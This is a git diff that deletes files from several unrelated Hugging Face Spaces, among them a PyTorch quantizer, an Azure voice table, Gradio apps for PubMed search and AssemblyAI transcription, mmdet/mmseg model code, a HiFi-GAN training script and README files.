-    unit = 1 / (num_levels - 1)  # quantization unit
-    levels = (p / unit).round()
-    if (bits <= 8).all():
-        levels = levels.byte()
-    else:
-        levels = levels.short()
-    return levels, (mn, mx)
-
-
-def uniform_unquantize(levels: torch.Tensor, scales: Tuple[float, float],
-                       bits: torch.Tensor = torch.tensor(8.)):
-    """
-    Unquantize the weights from the levels and scale. Return a float32 tensor.
-    """
-    mn, mx = scales
-    num_levels = 2 ** bits.float()
-    unit = 1 / (num_levels - 1)
-    levels = levels.float()
-    p = levels * unit  # in [0, 1]
-    return p * (mx - mn) + mn
-
-
-class UniformQuantizer(BaseQuantizer):
-    def __init__(self, model: torch.nn.Module, bits: float = 8., min_size: float = 0.01,
-                 float16: bool = False, qat: bool = False, exclude=[], detect_bound=True):
-        """
-        Args:
-            model (torch.nn.Module): model to quantize
-            bits (float): number of bits to quantize over.
-            min_size (float): minimum size in MB of a parameter to be quantized.
-            float16 (bool): if a layer is smaller than min_size, should we still do float16?
-            qat (bool): perform quantized aware training.
-            exclude (list[str]): list of patterns used to match parameters to exclude.
-                For instance `['bias']` to exclude all bias terms.
-            detect_bound (bool): if True, will detect bound parameters and reuse
-                the same quantized tensor for both.
-        """
-        self.bits = float(bits)
-        self.qat = qat
-
-        super().__init__(model, min_size, float16, exclude, detect_bound)
-
-    def __repr__(self):
-        return simple_repr(self, )
-
-    def _pre_forward_train(self):
-        if self.qat:
-            for qparam in self._qparams:
-                if qparam.other is not None:
-                    new_param = qparam.other.module._parameters[qparam.other.name]
-                else:
-                    quantized = self._quantize_param(qparam)
-                    qvalue = self._unquantize_param(qparam, quantized)
-                    new_param = qparam.param + (qvalue - qparam.param).detach()
-                qparam.module._parameters[qparam.name] = new_param
-            return True
-        return False
-
-    def _post_forward_train(self):
-        if self.qat:
-            for qparam in self._qparams:
-                qparam.module._parameters[qparam.name] = qparam.param
-            return True
-        return False
-
-    def _quantize_param(self, qparam):
-        levels, scales = uniform_quantize(qparam.param.data, torch.tensor(self.bits))
-        return (levels, scales)
-
-    def _unquantize_param(self, qparam, quantized):
-        levels, scales = quantized
-        return uniform_unquantize(levels, scales, torch.tensor(self.bits))
-
-    def model_size(self):
-        """
-        Non differentiable model size in MB.
-        """
-        total = super().model_size()
-        subtotal = 0
-        for qparam in self._qparams:
-            if qparam.other is None:  # if parameter is bound, count only one copy.
-                subtotal += self.bits * qparam.param.numel() + 64  # 2 float for the overall scales
-        subtotal /= 2**20 * 8  # bits to MegaBytes
-        return total + subtotal
-
-    def true_model_size(self):
-        """
-        Return the true quantized model size, in MB, without extra
-        compression.
-        """
-        return self.model_size().item()
diff --git a/spaces/GPTMonster/KBprototype_first/azure_utils.py b/spaces/GPTMonster/KBprototype_first/azure_utils.py
deleted file mode 100644
index 4173eaa689abe9b7b6b66ed3fcf1ede591655a53..0000000000000000000000000000000000000000
--- a/spaces/GPTMonster/KBprototype_first/azure_utils.py
+++ /dev/null
@@ -1,155 +0,0 @@
-# This class stores Azure voice data. Specifically, the class stores several records containing
-# language, lang_code, gender, voice_id and engine. The class also has a method to return the
-# voice_id, lang_code and engine given a language and gender.
-
-NEURAL_ENGINE = "neural"
-STANDARD_ENGINE = "standard"
-
-
-class AzureVoiceData:
-    def get_voice(self, language, gender):
-        for voice in self.voice_data:
-            if voice['language'] == language and voice['gender'] == gender:
-                return voice['azure_voice']
-        return None
-
-    def __init__(self):
-        self.voice_data = [
-            {'language': 'Arabic',
-             'azure_voice': 'ar-EG-ShakirNeural',
-             'gender': 'Male'},
-            {'language': 'Arabic (Gulf)',
-             'azure_voice': 'ar-KW-FahedNeural',
-             'gender': 'Male'},
-            {'language': 'Catalan',
-             'azure_voice': 'ca-ES-EnricNeural',
-             'gender': 'Male'},
-            {'language': 'Chinese (Cantonese)',
-             'azure_voice': 'yue-CN-YunSongNeural',
-             'gender': 'Male'},
-            {'language': 'Chinese (Mandarin)',
-             'azure_voice': 'zh-CN-YunxiNeural',
-             'gender': 'Male'},
-            {'language': 'Danish',
-             'azure_voice': 'da-DK-JeppeNeural',
-             'gender': 'Male'},
-            {'language': 'Dutch',
-             'azure_voice': 'nl-NL-MaartenNeural',
-             'gender': 'Male'},
-            {'language': 'English (Australian)',
-             'azure_voice': 'en-AU-KenNeural',
-             'gender': 'Male'},
-            {'language': 'English (British)',
-             'azure_voice': 'en-GB-RyanNeural',
-             'gender': 'Male'},
-            {'language': 'English (Indian)',
-             'azure_voice': 'en-IN-PrabhatNeural',
-             'gender': 'Male'},
-            {'language': 'English (New Zealand)',
-             'azure_voice': 'en-NZ-MitchellNeural',
-             'gender': 'Male'},
-            {'language': 'English (South African)',
-             'azure_voice': 'en-ZA-LukeNeural',
-             'gender': 'Male'},
-            {'language': 'English (US)',
-             'azure_voice': 'en-US-ChristopherNeural',
-             'gender': 'Male'},
-            {'language': 'English (Welsh)',
-             'azure_voice': 'cy-GB-AledNeural',
-             'gender': 'Male'},
-            {'language': 'Finnish',
-             'azure_voice': 'fi-FI-HarriNeural',
-             'gender': 'Male'},
-            {'language': 'French',
-             'azure_voice': 'fr-FR-HenriNeural',
-             'gender': 'Male'},
-            {'language': 'French (Canadian)',
-             'azure_voice': 'fr-CA-AntoineNeural',
-             'gender': 'Male'},
-            {'language': 'German',
-             'azure_voice': 'de-DE-KlausNeural',
-             'gender': 'Male'},
-            {'language': 'German (Austrian)',
-             'azure_voice': 'de-AT-JonasNeural',
-             'gender': 'Male'},
-            {'language': 'Hindi',
-             'azure_voice': 'hi-IN-MadhurNeural',
-             'gender': 'Male'},
-            {'language': 'Icelandic',
-             'azure_voice': 'is-IS-GunnarNeural',
-             'gender': 'Male'},
-            {'language': 'Italian',
-             'azure_voice': 'it-IT-GianniNeural',
-             'gender': 'Male'},
-            {'language': 'Japanese',
-             'azure_voice': 'ja-JP-KeitaNeural',
-             'gender': 'Male'},
-            {'language': 'Korean',
-             'azure_voice': 'ko-KR-GookMinNeural',
-             'gender': 'Male'},
-            {'language': 'Norwegian',
-             'azure_voice': 'nb-NO-FinnNeural',
-             'gender': 'Male'},
-            {'language': 'Polish',
-             'azure_voice': 'pl-PL-MarekNeural',
-             'gender': 'Male'},
-            {'language': 'Portuguese (Brazilian)',
-             'azure_voice': 'pt-BR-NicolauNeural',
-             'gender': 'Male'},
-            {'language': 'Portuguese (European)',
-             'azure_voice': 'pt-PT-DuarteNeural',
-             'gender': 'Male'},
-            {'language': 'Romanian',
-             'azure_voice': 'ro-RO-EmilNeural',
-             'gender': 'Male'},
-            {'language': 'Russian',
-             'azure_voice': 'ru-RU-DmitryNeural',
-             'gender': 'Male'},
-            {'language': 'Spanish (European)',
-             'azure_voice': 'es-ES-TeoNeural',
-             'gender': 'Male'},
-            {'language': 'Spanish (Mexican)',
-             'azure_voice': 'es-MX-LibertoNeural',
-             'gender': 'Male'},
-            {'language': 'Spanish (US)',
-             'azure_voice': 'es-US-AlonsoNeural"',
-             'gender': 'Male'},
-            {'language': 'Swedish',
-             'azure_voice': 'sv-SE-MattiasNeural',
-             'gender': 'Male'},
-            {'language': 'Turkish',
-             'azure_voice': 'tr-TR-AhmetNeural',
-             'gender': 'Male'},
-            {'language': 'Welsh',
-             'azure_voice': 'cy-GB-AledNeural',
-             'gender': 'Male'},
-        ]
-
-
-# Run from the command-line
-if __name__ == '__main__':
-    azure_voice_data = AzureVoiceData()
-
-    azure_voice = azure_voice_data.get_voice('English (US)', 'Male')
-    print('English (US)', 'Male', azure_voice)
-
-    azure_voice = azure_voice_data.get_voice('English (US)', 'Female')
-    print('English (US)', 'Female', azure_voice)
-
-    azure_voice = azure_voice_data.get_voice('French', 'Female')
-    print('French', 'Female', azure_voice)
-
-    azure_voice = azure_voice_data.get_voice('French', 'Male')
-    print('French', 'Male', azure_voice)
-
-    azure_voice = azure_voice_data.get_voice('Japanese', 'Female')
-    print('Japanese', 'Female', azure_voice)
-
-    azure_voice = azure_voice_data.get_voice('Japanese', 'Male')
-    print('Japanese', 'Male', azure_voice)
-
-    azure_voice = azure_voice_data.get_voice('Hindi', 'Female')
-    print('Hindi', 'Female', azure_voice)
-
-    azure_voice = azure_voice_data.get_voice('Hindi', 'Male')
-    print('Hindi', 'Male', azure_voice)
diff --git a/spaces/Gaborandi/PubMed_Downloader/app.py b/spaces/Gaborandi/PubMed_Downloader/app.py
deleted file mode 100644
index 553a33a285c42be731cbcfead7d809428697426e..0000000000000000000000000000000000000000
--- a/spaces/Gaborandi/PubMed_Downloader/app.py
+++ /dev/null
@@ -1,39 +0,0 @@
-import pandas as pd
-import gradio as gr
-from pymed import PubMed
-from Bio import Entrez
-
-def search_pubmed_with_gradio(search_term, max_results, include_pubmed_id, include_title, include_abstract):
-    pubmed = PubMed(tool="MyTool", email="aalamel@clemson.edu")
-    results = pubmed.query(search_term, max_results=max_results)
-    article_list = []
-    for article in results:
-        article_dict = article.toDict()
-        if include_pubmed_id:
-            pubmed_id = article_dict['pubmed_id'].partition('\n')[0]
-        else:
-            pubmed_id = ""
-        if include_title:
-            title = article_dict['title']
-        else:
-            title = ""
-        if include_abstract:
-            abstract = article_dict['abstract']
-        else:
-            abstract = ""
-        article_list.append({'pubmed_id': pubmed_id, 'title': title, 'abstract': abstract})
-    df = pd.DataFrame(article_list)
-    return df
-
-interface = gr.Interface(search_pubmed_with_gradio,
-                         [gr.inputs.Textbox(label="Search Term"),
-                          gr.inputs.Slider(minimum=1, maximum=10000, default=100, label="Max Results"),
-                          gr.inputs.Checkbox("pubmed_id", label="Pubmed ID"),
-                          gr.inputs.Checkbox("title", label="Title"),
-                          gr.inputs.Checkbox("abstract", label="Abstract")],
-                         "dataframe",
-                         title="PubMed Search",
-                         description="Enter a keyword or more than a keyword to search in PubMed database")
-                         
-if __name__ == "__main__":
-    interface.launch()
\ No newline at end of file
diff --git a/spaces/GiladtheFixer/test_sentiment/README.md b/spaces/GiladtheFixer/test_sentiment/README.md
deleted file mode 100644
index dbea0279c6685371ff39c86ca54df66921782975..0000000000000000000000000000000000000000
--- a/spaces/GiladtheFixer/test_sentiment/README.md
+++ /dev/null
@@ -1,12 +0,0 @@
----
-title: Test Sentiment
-emoji: 👁
-colorFrom: red
-colorTo: indigo
-sdk: gradio
-sdk_version: 3.27.0
-app_file: app.py
-pinned: false
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/Gradio-Blocks/Speech-to-text/app.py b/spaces/Gradio-Blocks/Speech-to-text/app.py
deleted file mode 100644
index a2cf8f5ec563cdff4c33a8723dc9a2ba2cc016a2..0000000000000000000000000000000000000000
--- a/spaces/Gradio-Blocks/Speech-to-text/app.py
+++ /dev/null
@@ -1,56 +0,0 @@
-import requests
-from pprint import pprint
-from time import sleep
-
-api_key = 'YOUR_API_KEY'
-audio_url = 'https://listentogenius.com/recordings4/Innocence.mp3'
-
-def audio_to_text(api_key, audio_url):
-  endpoint = "https://api.assemblyai.com/v2/transcript"
-
-  headers = {
-      'authorization': api_key, 
-      'content-type': 'application/json'
-  }
-
-  body = {
-      'audio_url': audio_url
-  }
-
-  # 1. Submitting Files for Transcription
-
-  res = requests.post(endpoint, json=body, headers=headers)
-  transcript_id = res.json().get('id')
-  print(transcript_id)
-
-  # 2. Getting the Transcription Result
-
-  endpoint_full = f"https://api.assemblyai.com/v2/transcript/{transcript_id}"
-  status = 'processing'
-  while transcript_id and status != 'completed':
-      print('Getting the transcription result ....')
-      sleep(5)
-      res_text = requests.get(endpoint_full, headers=headers)
-      status = res_text.json().get('status')
-  data = res_text.json().get('text')
-
-  return data
-
-
-import gradio as gr
-
-demo = gr.Blocks()
-
-with demo:
-    gr.Markdown(
-    """
-    # Convert Audio files to Text files using AssemblyAI. 
-    ### Get AssemblyAI API Key from here https://app.assemblyai.com/
-    """)
-    inp = [gr.Textbox(label='API Key', placeholder="What is your API Key?"), gr.Textbox(label='Audio File URL', placeholder="Audio file URL?")]
-    out = gr.Textbox(label='Output')
-    text_button = gr.Button("Flip")
-
-    text_button.click(audio_to_text, inputs=inp, outputs=out)
-
-demo.launch()
\ No newline at end of file
diff --git a/spaces/Gradio-Blocks/uniformer_image_detection/configs/gcnet/mask_rcnn_r101_fpn_syncbn-backbone_1x_coco.py b/spaces/Gradio-Blocks/uniformer_image_detection/configs/gcnet/mask_rcnn_r101_fpn_syncbn-backbone_1x_coco.py
deleted file mode 100644
index 6e1c5d0cadfb9fb3a4f8645e28a8e67fc499e900..0000000000000000000000000000000000000000
--- a/spaces/Gradio-Blocks/uniformer_image_detection/configs/gcnet/mask_rcnn_r101_fpn_syncbn-backbone_1x_coco.py
+++ /dev/null
@@ -1,4 +0,0 @@
-_base_ = '../mask_rcnn/mask_rcnn_r101_fpn_1x_coco.py'
-model = dict(
-    backbone=dict(
-        norm_cfg=dict(type='SyncBN', requires_grad=True), norm_eval=False))
diff --git a/spaces/Gradio-Blocks/uniformer_image_detection/mmdet/core/bbox/assigners/approx_max_iou_assigner.py b/spaces/Gradio-Blocks/uniformer_image_detection/mmdet/core/bbox/assigners/approx_max_iou_assigner.py
deleted file mode 100644
index 6d07656d173744426795c81c14c6bcdb4e63a406..0000000000000000000000000000000000000000
--- a/spaces/Gradio-Blocks/uniformer_image_detection/mmdet/core/bbox/assigners/approx_max_iou_assigner.py
+++ /dev/null
@@ -1,145 +0,0 @@
-import torch
-
-from ..builder import BBOX_ASSIGNERS
-from ..iou_calculators import build_iou_calculator
-from .max_iou_assigner import MaxIoUAssigner
-
-
-@BBOX_ASSIGNERS.register_module()
-class ApproxMaxIoUAssigner(MaxIoUAssigner):
-    """Assign a corresponding gt bbox or background to each bbox.
-
-    Each proposals will be assigned with an integer indicating the ground truth
-     index. (semi-positive index: gt label (0-based), -1: background)
-
-    - -1: negative sample, no assigned gt
-    - semi-positive integer: positive sample, index (0-based) of assigned gt
-
-    Args:
-        pos_iou_thr (float): IoU threshold for positive bboxes.
-        neg_iou_thr (float or tuple): IoU threshold for negative bboxes.
-        min_pos_iou (float): Minimum iou for a bbox to be considered as a
-            positive bbox. Positive samples can have smaller IoU than
-            pos_iou_thr due to the 4th step (assign max IoU sample to each gt).
-        gt_max_assign_all (bool): Whether to assign all bboxes with the same
-            highest overlap with some gt to that gt.
-        ignore_iof_thr (float): IoF threshold for ignoring bboxes (if
-            `gt_bboxes_ignore` is specified). Negative values mean not
-            ignoring any bboxes.
-        ignore_wrt_candidates (bool): Whether to compute the iof between
-            `bboxes` and `gt_bboxes_ignore`, or the contrary.
-        match_low_quality (bool): Whether to allow quality matches. This is
-            usually allowed for RPN and single stage detectors, but not allowed
-            in the second stage.
-        gpu_assign_thr (int): The upper bound of the number of GT for GPU
-            assign. When the number of gt is above this threshold, will assign
-            on CPU device. Negative values mean not assign on CPU.
-    """
-
-    def __init__(self,
-                 pos_iou_thr,
-                 neg_iou_thr,
-                 min_pos_iou=.0,
-                 gt_max_assign_all=True,
-                 ignore_iof_thr=-1,
-                 ignore_wrt_candidates=True,
-                 match_low_quality=True,
-                 gpu_assign_thr=-1,
-                 iou_calculator=dict(type='BboxOverlaps2D')):
-        self.pos_iou_thr = pos_iou_thr
-        self.neg_iou_thr = neg_iou_thr
-        self.min_pos_iou = min_pos_iou
-        self.gt_max_assign_all = gt_max_assign_all
-        self.ignore_iof_thr = ignore_iof_thr
-        self.ignore_wrt_candidates = ignore_wrt_candidates
-        self.gpu_assign_thr = gpu_assign_thr
-        self.match_low_quality = match_low_quality
-        self.iou_calculator = build_iou_calculator(iou_calculator)
-
-    def assign(self,
-               approxs,
-               squares,
-               approxs_per_octave,
-               gt_bboxes,
-               gt_bboxes_ignore=None,
-               gt_labels=None):
-        """Assign gt to approxs.
-
-        This method assign a gt bbox to each group of approxs (bboxes),
-        each group of approxs is represent by a base approx (bbox) and
-        will be assigned with -1, or a semi-positive number.
-        background_label (-1) means negative sample,
-        semi-positive number is the index (0-based) of assigned gt.
-        The assignment is done in following steps, the order matters.
-
-        1. assign every bbox to background_label (-1)
-        2. use the max IoU of each group of approxs to assign
-        2. assign proposals whose iou with all gts < neg_iou_thr to background
-        3. for each bbox, if the iou with its nearest gt >= pos_iou_thr,
-           assign it to that bbox
-        4. for each gt bbox, assign its nearest proposals (may be more than
-           one) to itself
-
-        Args:
-            approxs (Tensor): Bounding boxes to be assigned,
-                shape(approxs_per_octave*n, 4).
-            squares (Tensor): Base Bounding boxes to be assigned,
-                shape(n, 4).
-            approxs_per_octave (int): number of approxs per octave
-            gt_bboxes (Tensor): Groundtruth boxes, shape (k, 4).
-            gt_bboxes_ignore (Tensor, optional): Ground truth bboxes that are
-                labelled as `ignored`, e.g., crowd boxes in COCO.
-            gt_labels (Tensor, optional): Label of gt_bboxes, shape (k, ).
-
-        Returns:
-            :obj:`AssignResult`: The assign result.
-        """
-        num_squares = squares.size(0)
-        num_gts = gt_bboxes.size(0)
-
-        if num_squares == 0 or num_gts == 0:
-            # No predictions and/or truth, return empty assignment
-            overlaps = approxs.new(num_gts, num_squares)
-            assign_result = self.assign_wrt_overlaps(overlaps, gt_labels)
-            return assign_result
-
-        # re-organize anchors by approxs_per_octave x num_squares
-        approxs = torch.transpose(
-            approxs.view(num_squares, approxs_per_octave, 4), 0,
-            1).contiguous().view(-1, 4)
-        assign_on_cpu = True if (self.gpu_assign_thr > 0) and (
-            num_gts > self.gpu_assign_thr) else False
-        # compute overlap and assign gt on CPU when number of GT is large
-        if assign_on_cpu:
-            device = approxs.device
-            approxs = approxs.cpu()
-            gt_bboxes = gt_bboxes.cpu()
-            if gt_bboxes_ignore is not None:
-                gt_bboxes_ignore = gt_bboxes_ignore.cpu()
-            if gt_labels is not None:
-                gt_labels = gt_labels.cpu()
-        all_overlaps = self.iou_calculator(approxs, gt_bboxes)
-
-        overlaps, _ = all_overlaps.view(approxs_per_octave, num_squares,
-                                        num_gts).max(dim=0)
-        overlaps = torch.transpose(overlaps, 0, 1)
-
-        if (self.ignore_iof_thr > 0 and gt_bboxes_ignore is not None
-                and gt_bboxes_ignore.numel() > 0 and squares.numel() > 0):
-            if self.ignore_wrt_candidates:
-                ignore_overlaps = self.iou_calculator(
-                    squares, gt_bboxes_ignore, mode='iof')
-                ignore_max_overlaps, _ = ignore_overlaps.max(dim=1)
-            else:
-                ignore_overlaps = self.iou_calculator(
-                    gt_bboxes_ignore, squares, mode='iof')
-                ignore_max_overlaps, _ = ignore_overlaps.max(dim=0)
-            overlaps[:, ignore_max_overlaps > self.ignore_iof_thr] = -1
-
-        assign_result = self.assign_wrt_overlaps(overlaps, gt_labels)
-        if assign_on_cpu:
-            assign_result.gt_inds = assign_result.gt_inds.to(device)
-            assign_result.max_overlaps = assign_result.max_overlaps.to(device)
-            if assign_result.labels is not None:
-                assign_result.labels = assign_result.labels.to(device)
-        return assign_result
diff --git a/spaces/Gradio-Blocks/uniformer_image_segmentation/mmseg/models/decode_heads/ema_head.py b/spaces/Gradio-Blocks/uniformer_image_segmentation/mmseg/models/decode_heads/ema_head.py
deleted file mode 100644
index 619d757046a61e2dd1ad4b88a8b85f4688f35492..0000000000000000000000000000000000000000
--- a/spaces/Gradio-Blocks/uniformer_image_segmentation/mmseg/models/decode_heads/ema_head.py
+++ /dev/null
@@ -1,168 +0,0 @@
-import math
-
-import torch
-import torch.distributed as dist
-import torch.nn as nn
-import torch.nn.functional as F
-from mmcv.cnn import ConvModule
-
-from ..builder import HEADS
-from .decode_head import BaseDecodeHead
-
-
-def reduce_mean(tensor):
-    """Reduce mean when distributed training."""
-    if not (dist.is_available() and dist.is_initialized()):
-        return tensor
-    tensor = tensor.clone()
-    dist.all_reduce(tensor.div_(dist.get_world_size()), op=dist.ReduceOp.SUM)
-    return tensor
-
-
-class EMAModule(nn.Module):
-    """Expectation Maximization Attention Module used in EMANet.
-
-    Args:
-        channels (int): Channels of the whole module.
-        num_bases (int): Number of bases.
-        num_stages (int): Number of the EM iterations.
-    """
-
-    def __init__(self, channels, num_bases, num_stages, momentum):
-        super(EMAModule, self).__init__()
-        assert num_stages >= 1, 'num_stages must be at least 1!'
-        self.num_bases = num_bases
-        self.num_stages = num_stages
-        self.momentum = momentum
-
-        bases = torch.zeros(1, channels, self.num_bases)
-        bases.normal_(0, math.sqrt(2. / self.num_bases))
-        # [1, channels, num_bases]
-        bases = F.normalize(bases, dim=1, p=2)
-        self.register_buffer('bases', bases)
-
-    def forward(self, feats):
-        """Forward function."""
-        batch_size, channels, height, width = feats.size()
-        # [batch_size, channels, height*width]
-        feats = feats.view(batch_size, channels, height * width)
-        # [batch_size, channels, num_bases]
-        bases = self.bases.repeat(batch_size, 1, 1)
-
-        with torch.no_grad():
-            for i in range(self.num_stages):
-                # [batch_size, height*width, num_bases]
-                attention = torch.einsum('bcn,bck->bnk', feats, bases)
-                attention = F.softmax(attention, dim=2)
-                # l1 norm
-                attention_normed = F.normalize(attention, dim=1, p=1)
-                # [batch_size, channels, num_bases]
-                bases = torch.einsum('bcn,bnk->bck', feats, attention_normed)
-                # l2 norm
-                bases = F.normalize(bases, dim=1, p=2)
-
-        feats_recon = torch.einsum('bck,bnk->bcn', bases, attention)
-        feats_recon = feats_recon.view(batch_size, channels, height, width)
-
-        if self.training:
-            bases = bases.mean(dim=0, keepdim=True)
-            bases = reduce_mean(bases)
-            # l2 norm
-            bases = F.normalize(bases, dim=1, p=2)
-            self.bases = (1 -
-                          self.momentum) * self.bases + self.momentum * bases
-
-        return feats_recon
-
-
-@HEADS.register_module()
-class EMAHead(BaseDecodeHead):
-    """Expectation Maximization Attention Networks for Semantic Segmentation.
-
-    This head is the implementation of `EMANet
-    <https://arxiv.org/abs/1907.13426>`_.
-
-    Args:
-        ema_channels (int): EMA module channels
-        num_bases (int): Number of bases.
-        num_stages (int): Number of the EM iterations.
-        concat_input (bool): Whether concat the input and output of convs
-            before classification layer. Default: True
-        momentum (float): Momentum to update the base. Default: 0.1.
-    """
-
-    def __init__(self,
-                 ema_channels,
-                 num_bases,
-                 num_stages,
-                 concat_input=True,
-                 momentum=0.1,
-                 **kwargs):
-        super(EMAHead, self).__init__(**kwargs)
-        self.ema_channels = ema_channels
-        self.num_bases = num_bases
-        self.num_stages = num_stages
-        self.concat_input = concat_input
-        self.momentum = momentum
-        self.ema_module = EMAModule(self.ema_channels, self.num_bases,
-                                    self.num_stages, self.momentum)
-
-        self.ema_in_conv = ConvModule(
-            self.in_channels,
-            self.ema_channels,
-            3,
-            padding=1,
-            conv_cfg=self.conv_cfg,
-            norm_cfg=self.norm_cfg,
-            act_cfg=self.act_cfg)
-        # project (0, inf) -> (-inf, inf)
-        self.ema_mid_conv = ConvModule(
-            self.ema_channels,
-            self.ema_channels,
-            1,
-            conv_cfg=self.conv_cfg,
-            norm_cfg=None,
-            act_cfg=None)
-        for param in self.ema_mid_conv.parameters():
-            param.requires_grad = False
-
-        self.ema_out_conv = ConvModule(
-            self.ema_channels,
-            self.ema_channels,
-            1,
-            conv_cfg=self.conv_cfg,
-            norm_cfg=self.norm_cfg,
-            act_cfg=None)
-        self.bottleneck = ConvModule(
-            self.ema_channels,
-            self.channels,
-            3,
-            padding=1,
-            conv_cfg=self.conv_cfg,
-            norm_cfg=self.norm_cfg,
-            act_cfg=self.act_cfg)
-        if self.concat_input:
-            self.conv_cat = ConvModule(
-                self.in_channels + self.channels,
-                self.channels,
-                kernel_size=3,
-                padding=1,
-                conv_cfg=self.conv_cfg,
-                norm_cfg=self.norm_cfg,
-                act_cfg=self.act_cfg)
-
-    def forward(self, inputs):
-        """Forward function."""
-        x = self._transform_inputs(inputs)
-        feats = self.ema_in_conv(x)
-        identity = feats
-        feats = self.ema_mid_conv(feats)
-        recon = self.ema_module(feats)
-        recon = F.relu(recon, inplace=True)
-        recon = self.ema_out_conv(recon)
-        output = F.relu(identity + recon, inplace=True)
-        output = self.bottleneck(output)
-        if self.concat_input:
-            output = self.conv_cat(torch.cat([x, output], dim=1))
-        output = self.cls_seg(output)
-        return output
diff --git a/spaces/GroveStreet/GTA_SOVITS/vencoder/DPHubert.py b/spaces/GroveStreet/GTA_SOVITS/vencoder/DPHubert.py
deleted file mode 100644
index 95b98b8b2e08e76139ce652bbbdb60dc42248a19..0000000000000000000000000000000000000000
--- a/spaces/GroveStreet/GTA_SOVITS/vencoder/DPHubert.py
+++ /dev/null
@@ -1,26 +0,0 @@
-from vencoder.encoder import SpeechEncoder
-import torch
-from vencoder.dphubert.model import wav2vec2_model
-
-class DPHubert(SpeechEncoder):
-    def __init__(self,vec_path = "pretrain/DPHuBERT-sp0.75.pth",device=None):
-        print("load model(s) from {}".format(vec_path))
-        if device is None:
-            self.dev = torch.device("cuda" if torch.cuda.is_available() else "cpu")
-        else:
-            self.dev = torch.device(device)
-        ckpt = torch.load(vec_path)
-        self.hidden_dim = 768
-        self.model = wav2vec2_model(**ckpt["config"]).to(self.dev)
-        self.model.load_state_dict(ckpt["state_dict"], strict=False)
-
-    def encoder(self, wav):
-        feats = wav
-        if feats.dim() == 2:  # double channels
-          feats = feats.mean(-1)
-        assert feats.dim() == 1, feats.dim()
-        feats = feats[None,:]
-        with torch.no_grad():
-            with torch.inference_mode():
-              units = self.model(feats)[0]
-              return units.transpose(1,2)
diff --git a/spaces/HarryLee/eCommerceImageCaptioning/fairseq/.github/ISSUE_TEMPLATE/how-to-question.md b/spaces/HarryLee/eCommerceImageCaptioning/fairseq/.github/ISSUE_TEMPLATE/how-to-question.md
deleted file mode 100644
index 04f3f15d3ed391e26ca87f726ae88f30d1d414ab..0000000000000000000000000000000000000000
--- a/spaces/HarryLee/eCommerceImageCaptioning/fairseq/.github/ISSUE_TEMPLATE/how-to-question.md
+++ /dev/null
@@ -1,33 +0,0 @@
----
-name: ❓ Questions/Help
-about: If you have questions, please first search existing issues and docs
-labels: 'question, needs triage'
----
-
-## ❓ Questions and Help
-
-### Before asking:
-1. search the issues.
-2. search the docs.
-
-<!-- If you still can't find what you need: -->
-
-#### What is your question?
-
-#### Code
-
-<!-- Please paste a code snippet if your question requires it! -->
-
-#### What have you tried?
-
-#### What's your environment?
-
- - fairseq Version (e.g., 1.0 or main):
- - PyTorch Version (e.g., 1.0)
- - OS (e.g., Linux):
- - How you installed fairseq (`pip`, source):
- - Build command you used (if compiling from source):
- - Python version:
- - CUDA/cuDNN version:
- - GPU models and configuration:
- - Any other relevant information:
diff --git a/spaces/Harveenchadha/Vakyansh-Odia-TTS/ttsv/scripts/hifi/train_hifi.sh b/spaces/Harveenchadha/Vakyansh-Odia-TTS/ttsv/scripts/hifi/train_hifi.sh
deleted file mode 100644
index 287ca1159b5bf8f779d66885197fadbcd23b911e..0000000000000000000000000000000000000000
--- a/spaces/Harveenchadha/Vakyansh-Odia-TTS/ttsv/scripts/hifi/train_hifi.sh
+++ /dev/null
@@ -1,21 +0,0 @@
-#!/bin/bash
-
-gender='male'
-
-config='../../config/hifi/config_v1.json'
-modeldir='../../checkpoints/hifi/'$gender
-logdir='../../logs/hifi/'$gender
-
-
-####################################################
-
-
-
-python ../../src/hifi_gan/train.py \
-    --config $config \
-    --input_training_file '../../data/hifi/'$gender'/train.txt' \
-    --input_validation_file '../../data/hifi/'$gender'/valid.txt' \
-    --checkpoint_path $modeldir \
-    --logs_path $logdir \
-    --checkpoint_interval 10000 \
-    --stdout_interval 50
diff --git a/spaces/Hazzzardous/RWKV-Instruct/README.md b/spaces/Hazzzardous/RWKV-Instruct/README.md
deleted file mode 100644
index 0b27c1297cd6d93e8569f15e3710a52543adf41e..0000000000000000000000000000000000000000
--- a/spaces/Hazzzardous/RWKV-Instruct/README.md
+++ /dev/null
@@ -1,16 +0,0 @@
----
-title: RWKV Instruct
-emoji: 💩
-colorFrom: yellow
-colorTo: indigo
-sdk: gradio
-sdk_version: 3.17.0
-app_file: app.py
-pinned: false
-license: gpl-3.0
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
-Based on:
-
-https://huggingface.co/spaces/yahma/rwkv
\ No newline at end of file
diff --git a/spaces/HighCWu/GPEN/weights/README.md b/spaces/HighCWu/GPEN/weights/README.md
deleted file mode 100644
index 06402847e2286a8a44befb9c70a641f7496bbb06..0000000000000000000000000000000000000000
--- a/spaces/HighCWu/GPEN/weights/README.md
+++ /dev/null
@@ -1,9 +0,0 @@
-## Pre-trained Model
-
-Download RetinaFace model and our pre-trained model and put them here.
-
-## Pre-trained Model
-
-Download RetinaFace model and our pre-trained model and put them here.
-
